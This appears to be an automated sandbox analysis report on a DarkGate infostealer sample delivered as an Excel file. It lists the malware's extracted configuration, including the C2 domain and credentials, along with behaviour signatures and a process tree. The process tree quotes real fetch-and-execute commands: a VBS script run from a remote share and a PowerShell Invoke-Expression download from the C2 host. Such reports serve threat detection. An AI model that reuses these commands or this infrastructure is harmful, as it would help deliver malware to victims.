Analysis
- max time kernel
145s - max time network
159s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
28/02/2024, 16:05
General
- Target scan-28-02-24_7345.xlsx
- Size 29KB
- Sample240228-tjrepsff92
- SHA256 ac427338a8611381b38bf0621bd5b9001abe4ecc9f844cc307d306aba0c4d723
Malware Config
Extracted
-
darkgate
-
admin888
-
cayennesxque.boo
-
anti_analysis
true
-
anti_debug
false
-
anti_vm
true
-
c2_port
80
-
check_disk
false
-
check_ram
false
-
check_xeon
false
-
crypter_au3
false
-
crypter_dll
false
-
crypter_raw_stub
false
-
internal_mutex
HwHLLNLY
-
minimum_disk
50
-
minimum_ram
7000
-
ping_interval
6
-
rootkit
false
-
startup_persistence
true
-
username
admin888
Signatures
- DarkGate
DarkGate is an infostealer written in C++.
- Detect DarkGate stealer 2 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\scan-28-02-24_7345.xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/jzpdvxcn')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\temp\AutoIt3.exe"C:\temp\AutoIt3.exe" script.a3x4⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_hua44a3w.rc4.ps1
AutoIt3.exe
script.a3x
test.txt
memory/2412-23-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-26-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-5-0x00007FFD5DA10000-0x00007FFD5DA20000-memory.dmp
memory/2412-7-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-8-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-10-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-11-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-9-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-12-0x00007FFD5B5B0000-0x00007FFD5B5C0000-memory.dmp
memory/2412-13-0x00007FFD5B5B0000-0x00007FFD5B5C0000-memory.dmp
memory/2412-0-0x00007FFD5DA10000-0x00007FFD5DA20000-memory.dmp
memory/2412-24-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-25-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-6-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-4-0x00007FFD9D990000-0x00007FFD9DB85000-memory.dmp
memory/2412-1-0x00007FFD5DA10000-0x00007FFD5DA20000-memory.dmp
memory/2412-2-0x00007FFD5DA10000-0x00007FFD5DA20000-memory.dmp
memory/2412-3-0x00007FFD5DA10000-0x00007FFD5DA20000-memory.dmp
memory/3768-39-0x000001F0ED870000-0x000001F0ED880000-memory.dmp
memory/3768-40-0x000001F0EDFC0000-0x000001F0EE182000-memory.dmp
memory/3768-38-0x000001F0ED870000-0x000001F0ED880000-memory.dmp
memory/3768-37-0x00007FFD74C40000-0x00007FFD75701000-memory.dmp
memory/3768-56-0x00007FFD74C40000-0x00007FFD75701000-memory.dmp
memory/3768-27-0x000001F0ED8B0000-0x000001F0ED8D2000-memory.dmp
memory/4880-59-0x00000000047A0000-0x0000000005770000-memory.dmp
memory/4880-61-0x0000000005CA0000-0x0000000005FEF000-memory.dmp
memory/4880-62-0x0000000005CA0000-0x0000000005FEF000-memory.dmp